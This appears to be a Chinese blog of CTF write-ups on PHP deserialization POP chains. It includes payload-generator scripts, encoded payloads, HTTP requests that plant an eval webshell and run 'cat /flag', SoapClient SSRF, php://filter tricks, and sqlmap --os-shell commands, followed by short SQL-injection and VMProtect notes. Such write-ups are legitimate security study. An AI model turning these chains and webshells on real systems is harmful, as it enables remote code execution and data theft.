POP是什么

Property Overwrite Protection 是一种通过反序列化来构造的攻击载荷。

Example 1

<?php
class test {
    private $index;

    function __construct()
    {
        $this->index = new index();
    }

    function __destruct()
    {
        $this->index->hello();
    }
}

class index{
    public function hello()
    {
        echo 'nihao';
    }
}

class execute{
    public $test;
    function hello()
    {
        eval($this->test);
    }
}

unserialize($_GET['test']);

代码分析:
先注意到了execute类的hello函数,里面调用了关键函数eval,只要$this->test可控,那么我们就可以RCE (远程代码执行)。然后注意到会把GET参数test反序列化,我们考虑反序列化漏洞,由于这三个类中,只有test类有__construct__construct魔术方法在类创建的时候执行而不会在unserialize后执行,反序列化会把文本转成类,那么我们只要对test这个类反序列化,并且初始化index后,最后在执行完毕后,php会回收掉test,这样就会调用__destruct,执行hello函数,如果这个$this->index是execute类,那么我们就成功地执行了eval,成功执行了RCE

payload 生成代码:

<?php
class test {
    private execute $index;
    function __construct()
    {
        $this->index = new execute();
    }

}

class execute{
    public $test = "system(\"calc\");";
}

echo urlencode(serialize(new test()));

利用链:
unserialize()->test::__destruct()->execute::hello()->*eval*

payload:

?test=O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00index%22%3BO%3A7%3A%22execute%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A15%3A%22system%28%22calc%22%29%3B%22%3B%7D%7D

[MRCTF2020]Ezpop

题目

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

注意到include函数,可以把文本读取进来,如果是include("a.php")这样的,他会执行php然后echo出来里面输出的东西。特别的,如果php开了allow_url_include(这个默认下是关闭的),就可以执行RCE,我们可以按照GET的方法传递进去参数,如下图。(不过这个题目是没有开这个的,所以无法进行RCE
2024-07-08T12:15:07.png
我们开始分析代码:
Modifier 类中的append函数会进行include操作,这是我们需要执行的,而要执行这个,在整个代码中只有它自己的类中的__invoke()函数中执行,类中的$var就是我们要修改为flag位置的参数。
我们接着看,Modifier 方法只能由 Test类中的__get()函数进行调用,因为__invoke()函数是在当前实例化类被当作函数调用的时候执行的,而__get()函数在调用类的实例化的变量且该方法不能被访问或者不存在的时候被调用,参数$key就是这个名字(不过在这个题目中没用到),要调用__get(),我们发现在Show类中的__toString中可以进行。
如果Show中的$this->str是Test类,那么显然调用的source是不存在的,会触发__get(),而如果要调用__toString,我们发现必须要在把Show类转成文本的时候才能被调用,我们找了半天,发现只有当Show类中的$source为Show类的时候才能在__wakeup时候调用$source,导致__toString,因为__wakeup会在unserialize时候调用,而不会调用__construct,所以我们需要想办法让Show类自己包含自己,所以我们可以在__construct中加一个bool变量,如果是外面初始化,传入一个true,使得$source初始化为一个Show对象,如果是自己初始化就是传入一个false,防止递归初始化,这样就完成了我们payload的构造。

利用链:
unserialize()->Show::__wakeup()->Show::__toString()->Test::__get()->Modifier::__invoke()->Modifier::append()->include()

我们如果直接include("flag.php"),我们会发现它返回了一个Help me find flag但是没有flag,我们可以猜测flag作为变量,在执行php的时候不会输出。所以我们以php的伪协议进行读取,这样就能读取到原文内容。
php://filter/read=convert.base64-encode/resource=flag.php

<?php
class Modifier {
    protected  $var;

    public function __construct()
    {
        $this->var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    }
    public function append($value){
        include($value);
    }
    public function __invoke(){ // from Test
        $this->append($this->var);
    }
}

class Show{
    public $source; // Show
    public $str; // Test
    public function __construct(bool $a){
        if($a)
        {
            $this->source = new Show(false);
        }
        $this->str = new Test();
    }
}

class Test{
    public $p; // $p = new Modifier;
    public function __construct(){
        $this->p = new Modifier();
    }
}

echo urlencode(@serialize(new Show(true)));

payload

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
<?php
class Flag{
    private $flag= "flag{130a038b-39e2-4bf5-91e2-54f04b2cc570}";
}
echo "Help Me Find FLAG!";
?
  • 有关PHP伪协议的介绍在文章末尾。

[MRCTF2020]Ezpop_Revenge

由于buu不能开扫,我们从其他地方可以知道/www.zip泄露
/flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

/usr/plugins/HelloWorld/Plugin.php

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
// 省略..............
public function action(){
    if(!isset($_SESSION)) session_start();
    if(isset($_REQUEST['admin'])) var_dump($_SESSION);
    if (isset($_POST['C0incid3nc3'])) {
        if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
            unserialize(base64_decode($_POST['C0incid3nc3']));
        else {
            echo "Not that easy.";
        }
    }
}

我们找HelloWorld_Plugin,在/var/Typecho/Plugin.php里面找到了路由的定义

public static function activate($pluginName)
{
    self::$_plugins['activated'][$pluginName] = self::$_tmp;
    self::$_tmp = array();
    Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

于是我们测试一下:
2024-07-08T13:50:14.png
接下来就要想办法unserialize了
想不到办法,参考了一下别人的Writeups:
2024-07-08T14:05:50.png
这个地方初始化了Typecho_Db类,我们追踪过去
2024-07-08T14:06:46.png
Typecho_Db类中有一行提示我们使用__toString(),只要当我们的$adapterName是一个类的时候,就能触发某个类的__toString()方法,我们全局搜索后发现其中一个__toString()位于Query.php,我们发现当满足SELECT判断分支的时候,会return一个return $this->_adapter->parseSelect($this->_sqlPreBuild);,我们可以把_adapter替换掉,替换为SoapClient,这是一个php原生提供的可以用于SSRF (服务器端请求伪造)的类,之所以选择这个类,是因为这个类具有__call()的方法,这个方法允许在调用该类中不存在的函数的时候来调用这个函数。
利用链:

*HTTP 请求*
->HelloWorld_Plugin::action()
->*unserialize*
    ->HelloWorld_DB::__wakeup()
    ->HelloWorld_DB::Typecho_Db()
    ->HelloWorld_DB::__construct()
        ->Typecho_Db_Query::__toString()
            ->SoapClient::__call()
                ->*SSRF*

payload 构造php

<?php 
class HelloWorld_DB{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence['hello'] = new Typecho_Db_Query();
        $this->coincidence['world'] = 'test';
    }
}

class Typecho_Db_Query{
    private $_sqlPreBuild;
    private $_adapter;
        private $_prefix;
    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=ns2stb0uf697tul76l3atumec0"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'test', 'location' => $target, 'user_agent' => "test\r\n" . join("\r\n", $headers)));
        $this->_sqlPreBuild['action'] = "SELECT";
    }

}
$A=new HelloWorld_DB();

echo urlencode(base64_encode(serialize($A)));
?>

payload

POST /page_admin?admin=1 HTTP/1.1
Host: 2bcd997c-f360-4ec8-b896-56395dd436c5.node5.buuoj.cn
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 708
Cookie: PHPSESSID=ns2stb0uf697tul76l3atumec0



C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7czoyNjoiAEhlbGxvV29ybGRfREIAY29pbmNpZGVuY2UiO2E6Mjp7czo1OiJoZWxsbyI7TzoxNjoiVHlwZWNob19EYl9RdWVyeSI6Mzp7czozMDoiAFR5cGVjaG9fRGJfUXVlcnkAX3NxbFByZUJ1aWxkIjthOjE6e3M6NjoiYWN0aW9uIjtzOjY6IlNFTEVDVCI7fXM6MjY6IgBUeXBlY2hvX0RiX1F1ZXJ5AF9hZGFwdGVyIjtPOjEwOiJTb2FwQ2xpZW50Ijo1OntzOjM6InVyaSI7czo0OiJ0ZXN0IjtzOjg6ImxvY2F0aW9uIjtzOjI1OiJodHRwOi8vMTI3LjAuMC4xL2ZsYWcucGhwIjtzOjE1OiJfc3RyZWFtX2NvbnRleHQiO2k6MDtzOjExOiJfdXNlcl9hZ2VudCI7czo3NzoidGVzdA0KWC1Gb3J3YXJkZWQtRm9yOjEyNy4wLjAuMQ0KQ29va2llOiBQSFBTRVNTSUQ9bnMyc3RiMHVmNjk3dHVsNzZsM2F0dW1lYzAiO3M6MTM6Il9zb2FwX3ZlcnNpb24iO2k6MTt9czoyNToiAFR5cGVjaG9fRGJfUXVlcnkAX3ByZWZpeCI7Tjt9czo1OiJ3b3JsZCI7czo0OiJ0ZXN0Ijt9fQ%3D%3D

然后可以在Response最后观察到

</body>array(1) {
  ["flag"]=>
  string(42) "flag{0492d042-1156-4f9d-bf52-22719b3fc3b3}"
}

[EIS 2019]EzPOP

题目

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}


if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

代码审计:最下面有unserialize(),参数可控,由于只有A类有魔术方法,我们只能选择反序列化A类,反序列化时__construct不会被调用,但是在php执行完毕进行对象回收的时候,会调用__destruct,显然我们需要控制$autosave,让__destruct执行$this->save(),我们来到save函数,注意到contents来源于getForStorage,而这个函数里面可控$this->cache$this->complete,我们继续看,他会调用$this->store->set,注意到set函数只有B类中有,所以$store必须初始化为B类。注:cleanContents我们先不看。
我们接着看B类,调用的set函数的三个参数都是可控的,只不过第二个参数的样式不可控,因为经过了json_encode,导致它是一个类似于[1,"2"]这样的文本,我们接着看下面,$expire无法在文件中写入关键代码,因为它被强制转为了int,而且在写入的文本中,那一行还是注释,而且接下来一行马上就是exit();我们可以想到php绕过死亡exit的方法,因为他是通过file_put_contents来写入的,而$filename只要可控,那么就可以填入php伪协议,导致可以通过filter把写入的东西走一次base64_decode,这样以来,我们只要在$data后面附加上base64编码过的恶意代码,而前面的由于不是base64编码后的文本,php解码后将会是乱码,这样,前面就当成了静态页面,不会被执行,而我们后面的代码只要加上<?php ?>就可以当作代码进行执行。
我们接着看,我们显然不需要压缩,所以到时候把$options['data_compress']设置为false即可。
ok,我们现在唯一的目的就是让$filename可控,我们注意到getCacheKey函数,显然$name可控,只需要$options['prefix']为空文本即不影响$name,导致$filename完全可控。
最后,我们需要让$data可控,注意到$data走了一次$this->serialize(),我们进去看,注意到只需要$this->options['serialize']是一个不影响参数的函数即可,注意这个地方不能是闭包,因为序列化只能序列化对象而不能是函数,所以我们可以填入文本,这样他就可以“调用”文本来调用我们的函数,我们只需要让$this->options['serialize'] = 'urldecode',当然这是由于urldecode不会修改我的data,如果你需要更严谨,可以试试strval,最后我们就可以写出PoC来获取payload

<?php


class B {
    public function __construct() {
        $this->options['serialize'] = 'urldecode';
        $this->options['data_compress'] = false;
        $this->options['prefix'] = "";
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }
}


class A {
    private $autosave;

    protected $store;

    protected $key;

    protected $expire;

    public function __construct() {
        $this->autosave = true;
        $this->store = new B;
        $this->expire = 1145;
        $this->key = "php://filter/write=convert.base64-decode/resource=eval.php";
        $this->cache = [1,2,3];
        $this->complete =base64_encode(urldecode("%3C?php%20eval(\$_GET%5B'vvv'%5D);%20?%3E"));
    }
}

echo urlencode(@serialize(new A));

值得注意的是,B类中的$options请不要手动定义private $options这样的,请和题目给的类中定义一样即可,要不然会出问题,无法读取。
我们最后得到payload
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A11%3A%22%00A%00autosave%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A9%3A%22urldecode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Deval.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A1145%3Bs%3A5%3A%22cache%22%3Ba%3A3%3A%7Bi%3A0%3Bi%3A1%3Bi%3A1%3Bi%3A2%3Bi%3A2%3Bi%3A3%3B%7Ds%3A8%3A%22complete%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX0dFVFsndnZ2J10pOyA%2FPg%3D%3D%22%3B%7D
这个payload会在当前目录写下eval.php,我们接着发送?vvv=system("cat /flag");即可拿到flag。
利用链:
unserialize()->A::__destruct()->A::save()->B::set()->**file_put__contents**

[2022DASCTF X SU 三月春季挑战赛]ezpop

题目

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }
}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

注:eval('#' . $xxx);绕过方式介绍:当$xxx为?><?php echo 1;时即可绕过

<?php

class what
{
    public $a;
    public function __construct($stage)
    {
        if($stage == 2)
        {
            $this->a = new mix(3);
        }
    }
}

class mix
{
    public $m1;
    public function __construct($stage)
    {
        if($stage == 3)
        {
            $this->m1 = new crow(4);
        }
        else if($stage == 6)
        {
            $this->m1 = '?><?php; eval($_GET["vvv"]);';
        }
    }
}

class crow
{
    public $v1;
    public $v2;
    public function __construct($stage)
    {
        if($stage == 4)
        {
            $this->v1 = new fin(5);
        }
    }
}

class fin
{
    public $f1;
    public function __construct($stage)
    {
        if($stage == 1)
        {
            $this->f1 = new what(2);
        }
        else if($stage == 5)
        {
            $this->f1 = new mix(6);
        }
    }
}


echo urlencode(@serialize(new fin(1)));

unserialize()->fin::__destruct()->what::__toString()->mix::run()->crow::__invoke()->fin::__call()->mix::get_flag()->**eval**

payload

POST / HTTP/1.1
Host: e8d66867-352a-4db9-b9ea-a2018672953e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"mix":1:{s:2:"m1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:29:"?><?php; eval($_POST["vvv"]);";}}s:2:"v2";N;}}}}&vvv=system("cat *");

最后记录一下php的伪协议

PHP 伪协议

在 PHP 中,"伪协议"是一种特殊的语法,用于访问不同的资源或执行特定的操作。这些伪协议以 php:// 开头,后面跟着特定的指示符或参数,以实现不同的功能。这些伪协议提供了一种方便的方式来处理各种输入输出操作,而不必依赖于实际的文件或网络资源。
简单的理解就是,在URL中使用特殊的协议前缀来指示PHP执行特定的代码

php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

  • allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
  • allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

应用:

  1. 文件包含
include()、require()、include_once()、require_once()、highlight_file()
show_source() 、readfile() 、file_get_contents() 、fopen() 、file()

data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

allow_url_fopen和allow_url_include都需要开启。

example:

1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:www.xx.com?file=file:///etc/passwd

php://

不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory和php://temp需要开启allow_url_include。

php://filter

一个中间件,在读入或写入数据的时候对数据进行处理后输出的过程。可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行base64编码,让其不执行,展现在页面上。从而导致任意文件读取。
2024-07-09T18:15:53.png
2024-07-09T18:19:01.png
ctf解题常用:
变量=php://filter/read=convert.base64-encode/resource=文件名

使用的convert.base64-encode,是一种过滤器。
2024-07-09T18:19:22.png
2024-07-09T18:19:32.png
2024-07-09T18:19:43.png
2024-07-09T18:19:58.png

协议参数
2024-07-08T13:09:10.png

利用filter伪协议绕过死亡exit

何为死亡exit?

举个例子:

file_put_contents($content, '<?php exit();' . $content);

// 或者这样
file_put_contents($content, '<?php exit();?>' . $content);

如果想插入一句话木马,文件内容会变成这样

<?php exit();?>

<?php @eval($_POST['test']);?>

即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。

如何绕过?————filter伪协议+base64decode
利用php://filter的base64-decode方法,将$content解码,利用php base64_decode函数特性去除死亡exit。base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过。

当$content包含 <?php exit; ?>时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。

php://input

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。在POST请求中访问POST的data部分,在enctype="multipart/form-data"的时候php://input 是无效的。

当传进去的参数作为文件名变量去打开文件时,可以将参数php://input,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。
2024-07-08T13:12:05.png

其他

php://stdin、php://stdout 和 php://stderr 允许直接访问 PHP 进程相应的输入或者输出流。 数据流引用了复制的文件描述符,所以如果你打开 php://stdin 并在之后关了它, 仅是关闭了复制品,真正被引用的 STDIN 并不受影响。

注意 PHP 在这方面的行为有很多 BUG 直到 PHP 5.2.1。 推荐简单使用常量 STDIN、 STDOUT 和 STDERR 来代替手工打开这些封装器。

php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。

zip://

可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。相同类型的还有zlib://和bzip2://。

可以配合文件上传获取webshell,将shell.txt压缩成zip,再将后缀名改为jpg上传,通过zip伪协议访问压缩包里的文件,来连接木马

?url=zip://shell.jpg

注意:此处只能传入绝对路径,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23。只要是zip的压缩包即可,后缀名可以任意更改。

phar://

与zip://类似,同样可以访问zip格式压缩包内容
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用 phar 拓展 php 反序列化漏洞攻击面

http:// & https://

allow_url_fopen和allow_url_include都需要开启。
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

sqltest

打开wireshark翻到最下面,因为上面在爆破的是表名。
追踪http流,导出为csv,然后做出和下面s一样的文本格式填到python里面。
因为flag爆破的时候,如果是对的他会再尝试一下以验证,所以我们写个set来拿就行。

s = "1 100\n1 200\n1 150\n1 125\n1 112\n1 106\n1 103\n1 101\n1 102\n1 102\n2 100\n2 200\n2 150\n2 125\n2 112\n2 106\n2 109\n2 108\n2 107\n2 108\n3 100\n3 50\n3 75\n3 88\n3 94\n3 97\n3 96\n3 97\n4 100\n4 200\n4 150\n4 125\n4 112\n4 106\n4 103\n4 101\n4 102\n4 103\n5 100\n5 200\n5 150\n5 125\n5 112\n5 119\n5 122\n5 124\n5 123\n5 123\n6 100\n6 50\n6 75\n6 63\n6 57\n6 54\n6 52\n6 51\n6 52\n7 100\n7 50\n7 75\n7 63\n7 57\n7 54\n7 56\n7 55\n7 55\n8 100\n8 200\n8 150\n8 125\n8 112\n8 106\n8 103\n8 101\n8 100\n8 101\n9 100\n9 50\n9 75\n9 88\n9 94\n9 97\n9 99\n9 100\n10 100\n10 50\n10 75\n10 88\n10 94\n10 97\n10 99\n10 98\n10 98\n11 100\n11 50\n11 75\n11 63\n11 57\n11 54\n11 56\n11 55\n11 56\n12 100\n12 50\n12 75\n12 63\n12 57\n12 54\n12 52\n12 51\n12 51\n13 100\n13 50\n13 25\n13 38\n13 44\n13 47\n13 49\n13 48\n13 48\n14 100\n14 50\n14 25\n14 38\n14 44\n14 47\n14 49\n14 48\n14 48\n15 100\n15 200\n15 150\n15 125\n15 112\n15 106\n15 103\n15 101\n15 100\n15 101\n16 100\n16 50\n16 75\n16 88\n16 94\n16 97\n16 99\n16 100\n17 100\n17 50\n17 75\n17 63\n17 57\n17 54\n17 52\n17 53\n17 53\n18 100\n18 200\n18 150\n18 125\n18 112\n18 106\n18 103\n18 101\n18 102\n18 102\n19 100\n19 50\n19 75\n19 63\n19 57\n19 54\n19 56\n19 57\n20 100\n20 50\n20 75\n20 88\n20 94\n20 97\n20 99\n20 98\n20 98\n21 100\n21 50\n21 25\n21 38\n21 44\n21 47\n21 49\n21 50\n22 100\n22 50\n22 75\n22 63\n22 57\n22 54\n22 56\n22 55\n22 56\n23 100\n23 200\n23 150\n23 125\n23 112\n23 106\n23 103\n23 101\n23 102\n23 102\n24 100\n24 50\n24 75\n24 88\n24 94\n24 97\n24 99\n24 98\n24 99\n25 100\n25 50\n25 75\n25 63\n25 57\n25 54\n25 52\n25 53\n25 53\n26 100\n26 50\n26 75\n26 63\n26 57\n26 54\n26 52\n26 51\n26 52\n27 100\n27 50\n27 75\n27 88\n27 94\n27 97\n27 99\n27 98\n27 98\n28 100\n28 50\n28 25\n28 38\n28 44\n28 47\n28 49\n28 48\n28 48\n29 100\n29 50\n29 75\n29 88\n29 94\n29 97\n29 99\n29 100\n30 100\n30 50\n30 25\n30 38\n30 44\n30 47\n30 49\n30 48\n30 48\n31 100\n31 50\n31 75\n31 63\n31 57\n31 54\n31 56\n31 57\n32 100\n32 200\n32 150\n32 125\n32 112\n32 106\n32 103\n32 101\n32 100\n32 101\n33 100\n33 50\n33 75\n33 88\n33 94\n33 97\n33 99\n33 98\n33 99\n34 100\n34 50\n34 75\n34 88\n34 94\n34 97\n34 99\n34 100\n35 100\n35 200\n35 150\n35 125\n35 112\n35 106\n35 103\n35 101\n35 100\n35 101\n36 100\n36 200\n36 150\n36 125\n36 112\n36 106\n36 103\n36 101\n36 102\n36 102\n37 100\n37 50\n37 75\n37 63\n37 57\n37 54\n37 56\n37 55\n37 55\n38 100\n38 200\n38 150\n38 125\n38 112\n38 119\n38 122\n38 124\n38 125"
m = s.split("\n")
l = [set()] * 43
ans = ["*"] * 43
for i in m:
    a, b = i.split(" ")
    a, b = int(a) - 1, int(b)
    if b in l[a]:
        ans[a] = chr(b)
    l[a].add(b)
print("".join(ans))
# flag{47edb8300ed5f9b28fc54b0d09ecdef7}*****

BUU SQL COURSE 1

python .\sqlmap.py -u "http://b4099114-de59-4bfa-aab0-37905826c8b5.node5.buuoj.cn:81/backend/content_detail.php?id=1" --os-shell --batch
cat /flag

flag{5975ed59-ad8d-4a2f-a503-9f740c2781b7}

sqli-labs

python .\sqlmap.py -u "http://bb6dac2d-c817-4840-b9ea-9b98100e06e5.node5.buuoj.cn/Less-1/?id=1" --batch -D ctftraining -T flag --dump

+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{83e39cac-0fdf-4af5-b6f2-911246c0e743} |
+--------------------------------------------+

[SUCTF 2019]EasySQL

传入*,1后端相当于执行select *,1||aaa from bbb,由于1把或截断了,就可以直接拿到。
Array ( [0] => flag{c2a2f051-790a-4f5a-a59e-f81b453bc709} [1] => 1 )

引言

参加了XDSEC 逆向内部组会,会后有一个题目要求使用ida的Appcall进行对函数的爆破,该程序是VMProtect 3.x加密的,但是爆破只需要把vm当作一个黑箱,但是逆向的人就要考虑很多了......作为一个reverser,我们必须要有着透彻分析,不能遗漏的精神

先载入x64dbg,观察到重要函数,结果为0时候错误,为1时候正确:

2024-07-03T04:36:20.png

点进去这个函数,发现到:

0000000000401550          | 41:57            | push r15                                          |
0000000000401552          | 9C               | pushfq                                            |
...
jmp
...
000000000040C2B8          | 4C:8B7C24 08     | mov r15,qword ptr ss:[rsp+8]                      |
000000000040C2BD          | 48:C74424 08 A06 | mov qword ptr ss:[rsp+8],FFFFFFFF86B762A0         |
jmp
jne
call
000000000040C28E          | 48:814424 00 52E | add qword ptr ss:[rsp],FFFFFFFFFFBFEA52           |
000000000040C297          | 68 214B586F      | push 6F584B21                                     |
000000000040C29C          | FF7424 10        | push qword ptr ss:[rsp+10]                        |
000000000040C2A0          | 9D               | popfq                                             |
000000000040C2A1          | 48:8D6424 18     | lea rsp,qword ptr ss:[rsp+18]                     |
call
...

0x0 初识VMProtect虚拟机

这个特征为VMProtect虚拟机3.x的虚拟机外部初始化片段,最后一个call后就是虚拟机内部初始化。

